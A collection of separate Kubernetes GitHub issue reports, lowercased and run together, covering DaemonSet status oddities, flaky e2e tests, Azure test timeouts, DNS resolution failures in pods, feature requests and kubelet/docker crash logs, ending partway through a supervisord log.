i've noticed that when looking at the description of a daemonset it will say that it was misscheduled onto 2 nodes. it also normally has the wrong pod status.       ╰─± k describe ds deis-logger-fluentd name:       deis-logger-fluentd image s :   quay.io/deis/fluentd:v2-beta selector:   heritage=deis node-selector:  <none> labels:     heritage=deis desired number of nodes scheduled: 0 current number of nodes scheduled: 0 number of nodes misscheduled: 2 pods status:    1 running / 0 waiting / 1 succeeded / 0 failed events:   firstseen lastseen    count   from        subobjectpath   reason          message   ─────────   ────────    ───── ────        ───────────── ──────          ───────   26m       26m     1   {daemon-set }           successfulcreate    created pod: deis-logger-fluentd-3u2al   26m       26m     1   {daemon-set }           successfulcreate    created pod: deis-logger-fluentd-xvm8c

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-smoke/508/  failed:  k8s.io  emptydir volumes volume on tmpfs should have the correct mode  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/empty_dir.go:65 error creating pod expected error:     < url.error | 0xc8202e7c50>: {         op: \ post\ ,         url: \ https://104.196.5.207/api/v1/namespaces/e2e-tests-emptydir-i9d1h/pods\ ,         err: {},     }     post https://104.196.5.207/api/v1/namespaces/e2e-tests-emptydir-i9d1h/pods: net/http: tls handshake timeout not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:50

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-etcd3/3388/  failed:  k8s.io  resourcequota should create a resourcequota and capture the life of a configmap. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:233 expected error:     < errors.errorstring | 0xc8203c2a60>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:223

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : pod any externalip\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r i the current project, the following environment is required:\r \r ec2 instances service requests that arrive on their local ip using certain services  http daemon on tcp port 80 and 443 that proxies requests to internal services, some proxy on a high port, ... . the instances need to have one of 5 elastic ips bound to each nodes' network interface to receive traffic. it must be one of those elastic ips in order to be reachable by the desired clients. this is currently implemented using kubernetes. however, there is a problem with that:\r \r   autoscaling the cluster without touching the service configuration is not possible, because the service configuration for the external services need to be changed depending on what the lan ip  externalip  of the hosts are\r   we need to run two pods  proxies  with different services but on the same port and different externalips. when nodes are torn down or come up, the services of the proxies need to be changed to use the externalip of the node where a certain elastic ip is bound to  they are different for each proxy .\r  the nodes need to try to assign themselves one of the 5 elastic ips. \r \r the second point is the reason for this ticket.\r changing the service configuration programmatically is unnecessarily complex, if it could be solved in kubernetes itself. i'd like to just not have to specify an externalip. instead just a wildcard like 0.0.0.0/0 that means any externalip and i'd be happy. this could be extended to allow for specifying a public ip that is dnated to this host. the corresponding local ip can be retrieved through the aws api and a service could be bound to it. the current status  \ mutation\   of a service could be retrieved just like the current configuration of a service at the moment and the bound ips could be listed in the same structure as the externalip. maybe adding another field instead of adding functionality to \ externalips\  is more feasible.

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no.\r \r ---\r \r we should audit code to explore any false sharing on our structs.\r \r solution on extreme cases is to use padding to avoid false sharing.

if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r kubectl rollout history is not record the update time of the update\r \r when i get the information of the history, it like this: \r \r root@vm-0-10-ubuntu:/home/ubuntu  kubectl rollout history deployment/nginx  --revision=5\r deployments \ nginx\  with revision  5\r   labels:\tpod-template-hash=2343239180\r \tqcloud-app=nginx\r   containers:\r    nginx:\r     image:\tnginx:stable\r     port:\t\r     limits:\r       cpu:\t1\r       memory:\t128mi\r     requests:\r       cpu:\t200m\r       memory:\t128mi\r     volume mounts:\t<none>\r     environment variables:\r       test:\t1\r   no volumes.\r \r however it not record the time when it update, so i cannot not when i do the update.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r new added ci tests: pull-kubernetes-bazel-build  and pull-kubernetes-bazel-test \r can not start.\r \r   what you expected to happen  :\r those should start automatically.\r \r   how to reproduce it  as minimally and precisely as possible   :\r ref: https://github.com/kubernetes/kubernetes/pull/46341\r it has ok-to-test label\r ! image  https://user-images.githubusercontent.com/5154334/29909278-c271d4aa-8e57-11e7-95ce-4ab2337100f7.png \r \r but\r ! image  https://user-images.githubusercontent.com/5154334/29909335-f8c276c2-8e57-11e7-818d-0a08fdaf3f79.png \r \r

\ all\   is not a valid capability string, but docker supports it, e.g.  docker run --cap-drop all .\r \r since we pass the capabilities strings from k8s api to docker directly, k8s api also supports it. and there are user relying on this now:\r https://github.com/microservices-demo/microservices-demo/blob/master/deploy/kubernetes/complete-demo.yaml l24\r \r the problems are:\r 1  should we support this in k8s api? since we've supported it so far, i doubt we could deprecate it.\r 2  should we support this in kubelet? this is a linux specific thing, but we are doing linux specific thing in kubelet anyway.\r 3  should we support this in container runtime?\r \r since it's code freeze, i don't think we could update k8s now. we'll support this in cri-containerd for now, and let's revisit this in 1.9.\r \r /cc @ijc thanks for finding this.\r @yujuhong @feiskyer @tallclair @mrunalp \r /cc @kubernetes/sig-node-api-reviews

if you try to run the e2e networking tests without a cloud provider  e.g. on bare metal or vm setup ,\r the pod-service networking tests  http and udp  panic when config.externaladdrs 0  is\r accessed and the slice is empty.\r \r what should be done in this case is to have a check to see if any externaladdrs are provided, and\r if not, fallback to using one of the internaladdrs. this will avoid the panic, and the internal\r address chosen might work in some cases.\r \r <!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r  /area ipv6\r \r   what happened  :\r run e2e networking tests without a configured provider  e.g. on baremetal or vms , and the\r pod-service http and udp tests panic when config.externaladdrs 0  is accessed and the slice\r is empty:\r    \r panic  62.544 seconds \r  sig-network  networking\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/framework.go:22\r   granular checks: services  slow \r  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:203\r     should function for pod-service: http  it \r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:110\r \r     test panicked\r     runtime error: index out of range\r     /usr/local/go/src/runtime/panic.go:489\r    \r \r   what you expected to happen  :\r it would be much better in this case, when there are no external addresses provided by a cloud provider, to fallback to try using internal addresses. this avoids the panic, and in some cases, the internal addresses might have the required external connectivity to run the pod-service tests.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run the networking pod-service tests on a multinode setup without a cloud provider, e.g.:\r    \r go run hack/e2e.go -- --provider=local -v --test --test_args=\ --host=https://<api-server-ip-address>:6443 --ginkgo.focus=pod-service --num-nodes=2\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master\r - cloud provider or hardware configuration  : virtualbox cluster, ubuntu 16.04.1 host, centos 7 guests\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i tried running 300 controllers that watch a kind of object served from an aggregated api-server, and the main api-server started timing out on operations it proxies to the aggregated api-server.  i had only one main api-server and one aggregated api-server.  cpu, memory, and network load were not an issue.\r \r   what you expected to happen  :\r i expected no such timeouts.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run the aggregated api-server from k8s.io/sample-apiserver.  build https://github.com/mikespreitzer/k8api-scaletest/tree/master/flunder-watch and run more than 250 flunder-watch concurrently.  observe timeouts in the main api-server's log.\r \r   anything else we need to know?  :\r the main api-server opens one http/2 connection to the service ip of the aggregated api-servers and does all its proxying through streams inside that connection.  the most immediate problem is that k8s.io/apiserver, which is the basis of the aggregated api-serve as well as the main one, uses the default value of 250 max client-initiated streams per http/2 connection.  see the default in https://github.com/golang/net/blob/master/http2/server.go .  the generic apiserver code does not call  golang.org/net/http2.configureserver , so the default applies.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8 and 1.9\r - cloud provider or hardware configuration: local hardware\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

when i run  make test  in community master branch:\r i get such error:\r    \r e0322 14:38:04.340377   25735 azure_backoff.go:368  backoff: failure, will retry, http response=400, err=<nil>\r e0322 14:38:04.340656   25735 azure_backoff.go:368  backoff: failure, will retry, http response=500, err=<nil>\r e0322 14:38:04.340663   25735 azure_backoff.go:368  backoff: failure, will retry, http response=303, err=some error\r e0322 14:38:06.347457   25735 azure_loadbalancer.go:288  selectloadbalancer: cluster testcluster  service default/service-2  isinternal true  -  all available load balancers have exceeded maximum rule limit 1, vmsetnames   as  \r e0322 14:38:06.358666   25735 azure_loadbalancer.go:288  selectloadbalancer: cluster testcluster  service default/service-2  isinternal false  -  all available load balancers have exceeded maximum rule limit 1, vmsetnames   as  \r panic: test timed out after 6m0s\r \r goroutine 521  running :\r testing.startalarm.func1  \r \t/usr/local/go/src/testing/testing.go:1145 +0xf9\r created by time.gofunc\r \t/usr/local/go/src/time/sleep.go:170 +0x44\r \r goroutine 1  chan receive, 5 minutes :\r testing.  t .run 0xc4200ea0f0, 0x13e0353, 0x14, 0x145db18, 0x1c98101 \r \t/usr/local/go/src/testing/testing.go:790 +0x2fc\r testing.runtests.func1 0xc4200ea0f0 \r \t/usr/local/go/src/testing/testing.go:1004 +0x64\r testing.trunner 0xc4200ea0f0, 0xc420307de0 \r \t/usr/local/go/src/testing/testing.go:746 +0xd0\r testing.runtests 0xc4203dbc60, 0x1c90a40, 0x4d, 0x4d, 0xc420307e80 \r \t/usr/local/go/src/testing/testing.go:1002 +0x2d8\r testing.  m .run 0xc42027df18, 0x41340d \r \t/usr/local/go/src/testing/testing.go:921 +0x111\r main.main  \r \tk8s.io/kubernetes/pkg/cloudprovider/providers/azure/_test/_testmain.go:196 +0xdb\r \r goroutine 19  chan receive :\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon 0x1c983a0 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x9f\r created by k8s.io/kubernetes/vendor/github.com/golang/glog.init.0\r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x203\r \r goroutine 503  select, 3 minutes :\r k8s.io/kubernetes/vendor/github.com/azure/go-autorest/autorest.delayforbackoff 0x6fc23ac00, 0x3, 0x0, 0x1c2d140 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/azure/go-autorest/autorest/sender.go:311 +0x16b\r k8s.io/kubernetes/vendor/github.com/azure/go-autorest/autorest.doretryforstatuscodes.func1.1 0xc420204500, 0xc4200b0d40, 0x0, 0xc42068aff8 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/azure/go-autorest/autorest/sender.go:231 +0x1f8\r k8s.io/kubernetes/vendor/github.com/azure/go-autorest/autorest.senderfunc.do 0xc4200b0d40, 0xc420204500, 0xc42068aff8, 0x1, 0x1 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/azure/go-autorest/autorest/sender.go:38 +0x30\r k8s.io/kubernetes/vendor/github.com/azure/go-autorest/autorest.sendwithsender 0x1c2cfc0, 0xc4200e8960, 0xc420204500, 0xc42068aff8, 0x1, 0x1, 0xc4200d98e0, 0x16, 0xc \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/azure/go-autorest/autorest/sender.go:80 +0x75\r k8s.io/kubernetes/vendor/github.com/azure/go-autorest/autorest/azure.doretrywithregistration.func1.1 0xc420204500, 0xc42010a120, 0x0, 0xc42068b260 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/azure/go-autorest/autorest/azure/rp.go:40 +0x1d4\r k8s.io/kubernetes/vendor/github.com/azure/go-autorest/autorest.senderfunc.do 0xc42010a120, 0xc420204500, 0xc42068b260, 0x1, 0x1 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/azure/go-autorest/autorest/sender.go:38 +0x30\r k8s.io/kubernetes/vendor/github.com/azure/go-autorest/autorest.sendwithsender 0x1c2cfc0, 0xc4200e8960, 0xc420204500, 0xc42068b260, 0x1, 0x1, 0x12a05f200, 0xd18c2e2800, 0x3 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/azure/go-autorest/autorest/sender.go:80 +0x75\r k8s.io/kubernetes/vendor/github.com/azure/azure-sdk-for-go/arm/storage.accountsclient.listbyresourcegroupsender 0x1c29780, 0xc4202509f0, 0x1c2ba00, 0xc4201fb920, 0x0, 0x0, 0x12a05f200, 0xd18c2e2800, 0x3, 0x6fc23ac00, ... \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/azure/azure-sdk-for-go/arm/storage/accounts.go:596 +0x110\r k8s.io/kubernetes/vendor/github.com/azure/azure-sdk-for-go/arm/storage.accountsclient.listbyresourcegroup 0x1c29780, 0xc4202509f0, 0x1c2ba00, 0xc4201fb920, 0x0, 0x0, 0x12a05f200, 0xd18c2e2800, 0x3, 0x6fc23ac00, ... \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/azure/azure-sdk-for-go/arm/storage/accounts.go:558 +0x33b\r k8s.io/kubernetes/pkg/cloudprovider/providers/azure.  azstorageaccountclient .listbyresourcegroup 0xc42010c600, 0xc4200d8fe0, 0x12, 0x0, 0x0, 0x0, 0x0 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_client.go:1213 +0x256\r k8s.io/kubernetes/pkg/cloudprovider/providers/azure.  blobdiskcontroller .getallstorageaccounts 0xc420250bb0, 0xc420250bb0, 0x1, 0xc42068b840 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_blobdiskcontroller.go:435 +0x6b\r k8s.io/kubernetes/pkg/cloudprovider/providers/azure.newblobdiskcontroller 0xc420562140, 0xc420562140, 0xc420215a70, 0xc4202158c0 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_blobdiskcontroller.go:68 +0x6b\r k8s.io/kubernetes/pkg/cloudprovider/providers/azure.initdiskcontrollers 0xc4200f8400, 0xc42000c540, 0x0 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure.go:390 +0xf4\r k8s.io/kubernetes/pkg/cloudprovider/providers/azure.newcloud 0x1c2c340, 0xc42000c040, 0x7ffc27f96c2a, 0xc420051f30, 0x101643e30, 0xf \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure.go:303 +0xe9e\r k8s.io/kubernetes/pkg/cloudprovider/providers/azure.getcloudfromconfig 0xc4205761e0, 0x1455354, 0x2c6, 0x12a96362897337 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_test.go:1630 +0x80\r k8s.io/kubernetes/pkg/cloudprovider/providers/azure.validateconfig 0xc4205761e0, 0x1455354, 0x2c6 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_test.go:1561 +0x43\r k8s.io/kubernetes/pkg/cloudprovider/providers/azure.testnewcloudfromjson 0xc4205761e0 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_test.go:1510 +0x40\r testing.trunner 0xc4205761e0, 0x145db18 \r \t/usr/local/go/src/testing/testing.go:746 +0xd0\r created by testing.  t .run\r \t/usr/local/go/src/testing/testing.go:789 +0x2de\r fail\tk8s.io/kubernetes/pkg/cloudprovider/providers/azure\t360.046s\r \r

failing job\r      sig-release-master-blocking: gci-gke-serial  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-serial \r \r    failing test\r      dns configmap nameserver forward ptr lookup should forward ptr records lookup to upstream nameserver  slow  serial   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/5631 \r \r    triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?date=2018-04-16&sig=network&test=dns%20configmap%20nameserver%20forward%20ptr%20lookup%20should%20forward%20ptr%20records%20looku\r \r has been failing consistently since 4/13.\r \r  / /  /milestone 1.11\r @kubernetes/sig-network-bugs  \r \r cc @jberkus @tpepper \r \r /assign @dcbw

in kubernetes-1.12 although  attachvolumelimit  is marked as beta, it isn't enabled by default. this was a mistake on my part. i think when i tested this, my scripts already has the feature flag enabled and hence gave me false positive. \r \r  /assign\r

 \r e2e tests need to be added testing topology additions in kubelet and the newest external provisioner for 1.12.\r \r  /assign

running a kubernetes cluster on low  using aks-engine, when attempting to scale up our container deployment  single container image  we are getting a lot of failed containers  failing to resolve public dns addresses \r \r kubectl get pods\r name                                              ready     status             restarts   age\r clients-user-experience-journey-7d74567f6-22ghg   1/1       running            0          29m\r clients-user-experience-journey-7d74567f6-24lvj   0/1       crashloopbackoff   10         1h\r clients-user-experience-journey-7d74567f6-2568g   0/1       completed          10         1h\r clients-user-experience-journey-7d74567f6-26dj7   0/1       crashloopbackoff   10         1h\r clients-user-experience-journey-7d74567f6-26x2c   1/1       running            0          1h\r clients-user-experience-journey-7d74567f6-276sd   1/1       running            10         1h\r clients-user-experience-journey-7d74567f6-27hjl   0/1       crashloopbackoff   10         1h\r clients-user-experience-journey-7d74567f6-27mpr   0/1       crashloopbackoff   10         1h\r clients-user-experience-journey-7d74567f6-29ffk   0/1       crashloopbackoff   10         1h\r clients-user-experience-journey-7d74567f6-2cbst   1/1       running            11         1h\r clients-user-experience-journey-7d74567f6-2cl2s   0/1       crashloopbackoff   10         1h\r clients-user-experience-journey-7d74567f6-2cnzm   1/1       running            10         1h\r clients-user-experience-journey-7d74567f6-2f4jv   0/1       crashloopbackoff   10         1h\r clients-user-experience-journey-7d74567f6-2f78f   1/1       running            11         1h\r clients-user-experience-journey-7d74567f6-2fdds   1/1       running            10         1h\r clients-user-experience-journey-7d74567f6-2ff46   1/1       running            10         1h\r \r example container log:\r /usr/local/lib/python2.7/dist-packages/psycopg2/__init__.py:144: userwarning: the psycopg2 wheel package will be renamed from release 2.8; in order to keep installing from binary please use \ pip install psycopg2-binary\  instead. for details\r see: <http://initd.org/psycopg/docs/install.html binary-install-from-pypi>.\r   \ \ \  \r {\ timestamp\ : \ 2019-02-24 17:54:34\ , \ log_level\ : \ info\ , \ process_name\ : \ clients_user_experience_journey\ , \ message\ : \ will read messages\ , \ process_id\ : \ 6\ }\r {'process_name': 'clients_user_experience_journey', 'message': u'will read messages', 'process_id': '6'}\r traceback  most recent call last :\r   file \ /usr/lib/python2.7/runpy.py\ , line 174, in _run_module_as_main\r     \ __main__\ , fname, loader, pkg_name \r   file \ /usr/lib/python2.7/runpy.py\ , line 72, in _run_code\r     exec code in run_globals\r   file \ /usr/local/backend/clients/user_experience/journey.py\ , line 91, in <module>\r     worker.perform_job  \r   file \ ng/backend_worker.py\ , line 285, in perform_job\r     force_create_queue=self.force_queue_creation\r   file \ ng/aws/sqs.py\ , line 143, in read_message\r    queue = self._get_queue queue_name \r   file \ ng/aws/sqs.py\ , line 76, in _get_queue\r     return self.connection.get_queue self.env_prefix + queue_name \r   file \ /usr/local/lib/python2.7/dist-packages/boto/sqs/connection.py\ , line 521, in get_queue\r     return self.get_object 'getqueueurl', params, queue \r   file \ /usr/local/lib/python2.7/dist-packages/boto/connection.py\ , line 1192, in get_object\r     response = self.make_request action, params, path, verb \r   file \ /usr/local/lib/python2.7/dist-packages/boto/connection.py\ , line 1116, in make_request\r     return self._mexe http_request \r   file \ /usr/local/lib/python2.7/dist-packages/boto/connection.py\ , line 1030, in _mexe\r     raise ex\r socket.gaierror:  errno -3  temporary failure in name resolution\r done running clients/user_experience/journey at sun feb 24 17:58:27 utc 2019 with exitcode 1

http://kubekins.dls.corp.google.com:8081/job/kubernetes-pull-build-test-e2e-gce/28687/  in the e2e test, the last three tests failed: - kubernetes e2e suite.downward api volume should update labels on modification  conformance  - kubernetes e2e suite.services should be able to change the type and ports of a service - kubernetes e2e suite.networking should provide internet connection for containers  conformance   all these tests failed because at the end of the e2e test, the node  e2e-gce-builder-2-2-minion-fz40  became not ready. from  kubelet.log  https://00e9e64bac678b6b851b94ed815af525b4b7dcc3692f0d0478-apidata.googleusercontent.com/download/storage/v1_internal/b/kubernetes-jenkins/o/pr-logs%2fpull%2f21120%2fkubernetes-pull-build-test-e2e-gce%2f28687%2fartifacts%2f146.148.87.92:22-kubelet.log?qk=ad5umesyaj1zzx_lytrc_hks6bqpxh-am4x3tnqhta23co-84jm76gpaeke-vbfxuqybb9pzx_wchlvcpc_l4_6wzooilknttyt4_d-ulto9ojtfg9hw3jsmhksoosnbs-qq85bvkh5o9yvxntpiaivwqxzh8q-6hx7uqemckvrdze5xmo35ypxyf52e6o0ughtejimcxndhcoyq_gr7pdj7dbuai6llilfvp9vd5wmofbz34jgxs-w5z6j2dgnewo5zvrxak4tqb3soiegrqlldzazco6abuxdl4nwxtw2fdv1qxq4pkyzts5ygr7qqac4sc1ggxzj08aw7f9njt8kdm4fmkxyshlppsjgkiol9nfyj2sn5bpb_1muy1iqtygqrnnhpti8oub6mpyvhw6ka2gi5xtku8od9zj1zi6t_quf1re716cqq7yqe_dqgs0byo4qw4cybjoa5qaxu_rr22oj9aesgas9ek2bfmrmnd-cvtmcy02r--2otrmmwktqbbr9qtue2eptwbmjqurx2zrv1cgr7fspvbmsfzgtxnuiy54a0jv3y_qjvciw5wx-wvl_2bpbg1rd26gf4ss4k9jnjg-lvuxu6haha4xxro9pxkfxfuem7c-moumg7zctexskzie-qglhscae6ewbcavowqqjc-wgjrrlou2q-mthq3ssojxoy5ao-koeu_2ftcc4jibcuvabelmetatozmqbncno6cdbztyf7zupz7qxsjv6omhzg7pe4iqmex2ueznzkoiifmbsmfkpfrgzuqdgfiasq3qaj9osg6-chbpqq-uplm2zy8tnykdhj14yf31mqbnto3rqye7pfbba7sgdlu7bdsqty5zduumsl12dqx9da2lq9mrbj10evtjlo9t5invzwtvghnqoof_rebans2ttopz2mscrzoiavbezr8t8xwavepfyzzt53djar7dqvmg8p , we can see that kubelet can't detect docker daemon suddenly:      e0216 01:08:25.357402    3938 kubelet.go:2617  container runtime sanity check failed: docker: failed to get docker version: get http://unix.sock/version: dial unix /var/run/docker.sock: no such file or directory      here is  supervisord log  https://00e9e64baca938b4a3ca1c6398e73fb4b04c0790cd0ff2b701-apidata.googleusercontent.com/download/storage/v1_internal/b/kubernetes-jenkins/o/pr-logs%2fpull%2f21120%2fkubernetes-pull-build-test-e2e-gce%2f28687%2fartifacts%2f146.148.87.92:22-supervisord.log?qk=ad5umeumtu2kd2_vy3mjlg212-xf_ztochgkcbdby36dbgy_ych7ezvgfbnkh-ccmqrfe4zb7u6qr7rbjbykyx2mvfs55ni_8yi8kiffwvq65vnxrzrun8amzysue26e6u-q62n3bmwfshygleaocgpstpnldl_vieisk438gciytuab6p9gbfu-3lylwgitybsunnki4xz3c2culn5xudy7iiizyipvdr_vzxj5idzxdnk2gru4oqaaq3gouxowcrhaffsx1eoyggm5cadkufqtbqkdoc_rz_rbx37c6pqau9ietk41p9y72cwypq-gltrpoqg8xpdrdi1ctrg3j7w22nzkvz4kypkqzhxv2dhmch6l-pnt0kp54sv88i_mkem68t-fodk7ozknblqejfcawwgvv3izex2fdclbtuehrztnoudlc_gk1xamcq3tirqlntadtgl8ibgjlvrvmdoa0hrhzanw_ocwtzk-sw3e4tsmov9qydk9i4dy6wr022_qomd-jbz6qr7_my92vtfm1f_83yqb8zrazr-aic6re0dfuqup0i-fqr0qfejug1ipzx8fnxlzvoveryp6qkdewjrd0v4qkrbvzotx5aqtibspy5cg33lhpdpn4uzdvdbjiakck2wocxyziv4ixcqvlhoyhdsjjjbib4zi1flaydf7vsyguqq4raj1dcefyrq_whbr5vhht-pmvne7ht8y9wfrh8phpoqmodrljcocqwjpi9hz78clgpctndggllncvgdfxshi-ivmy4h5e6hrbb6hsynynvgt3uq_g-amxn2nhcqlzuqgyvttwnolr6gmennphzcnvqmkiouvzhn9k8w3wq-3tgabnleqmcvxsuqoklkhib9fgbsdnkawxmpsfqupx6n6k2k7wr2tjtevs2w1kda_nfkpbp-w_ewrubxa5jegoqy6vvrzkqrmoz1wcwsgjmolfflb_bkh_0pp0qcw3s2q_q :      2016-02-16 01:00:38,864 crit supervisor running as root  no user in config file  2016-02-16 01:00:38,930 info rpc interface 'supervisor' initialized 2016-02-16 01:00:38,931 warn celementtree not installed, using slower xml parser for xml-rpc 2016-02-16 01:00:38,931 crit server 'unix_http_server' running without any http authentication checking 2016-02-16 01:00:38,932 info daemonizing the supervisord process 2016-02-16 01:00:38,932 info supervisord started with pid 2340 2016-02-16 01:02:16,760 warn received sigterm indicating exit request 2016-02-16 01:02:21,811 crit supervisor running as root  no user in config file  2016-02-16 01:02:21,811 warn included extra file \ /etc/supervisor/conf.d/kubelet.conf\  during parsing 2016-02-16 01:02:21,811 warn included extra file \ /etc/supervisor/conf.d/docker.conf\  during parsing 2016-02-16 01:02:21,831 info rpc interface 'supervisor' initialized 2016-02-16 01:02:21,831 warn celementtree not installed, using slower xml parser for xml-rpc 2016-02-16 01:02:21,831 crit server 'unix_http_server' running without any http authentication checking 2016-02-16 01:02:21,832 info daemonizing the supervisord process 2016-02-16 01:02:21,833 info supervisord started with pid 3855 2016-02-16 01:02:22,835 info spawned: 'kubelet' with pid 3869 2016-02-16 01:02:22,837 info spawned: 'docker' with pid 3870 2016-02-16 01:02:23,894 info success: kubelet entered running state, process has stayed up for > than 1 seconds  startsecs  2016-02-16 01:02:23,894 info success: docker entered running state, process has stayed up for > than 1 seconds  startsecs  2016-02-16 01:08:16,756 info exited: docker  exit status 2; expected  2016-02-16 01:08:17,758 info spawned: 'docker' with pid 21508 2016-02-16 01:08:18,783 info success: docker entered running state, process has stayed up for > than 1 seconds  startsecs  2016-02-16 01:09:17,820 info exited: docker  exit status 2; expected  2016-02-16 01:09:18,822 info spawned: 'docker' with pid 21697 2016-02-16 01:09:19,847 info success: docker entered running state, process has stayed up for > than 1 seconds  startsecs  2016-02-16 01:10:38,852 info exited: docker  exit status 2; expected  2016-02-16 01:10:39,854 info spawned: 'docker' with pid 21953 2016-02-16 01:10:40,884 info success: docker entered running state, process has stayed up for > than 1 seconds  startsecs  2016-02-16 01:11:59,885 info exited: docker  exit status 2; expected  2016-02-16 01:12:00,887 info spawned: 'docker' with pid 22152 2016-02-16 01:12:01,916 info success: docker entered running state, process has stayed up for > than 1 seconds  startsecs  2016-02-16 01:12:54,256 info exited: kubelet  exit status 2; expected  2016-02-16 01:12:55,258 info spawned: 'kubelet' with pid 22277 2016-02-16 01:12:56,301 info success: kubelet entered running state, process has stayed up for > than 1 seconds  startsecs  2016-02-16 01:13:20,921 info exited: docker  exit status 2; expected  2016-02-16 01:13:21,923 info spawned: 'docker' with pid 22344 2016-02-16 01:13:22,951 info success: docker entered running state, process has stayed up for > than 1 seconds  startsecs  2016-02-16 01:13:55,308 info exited: 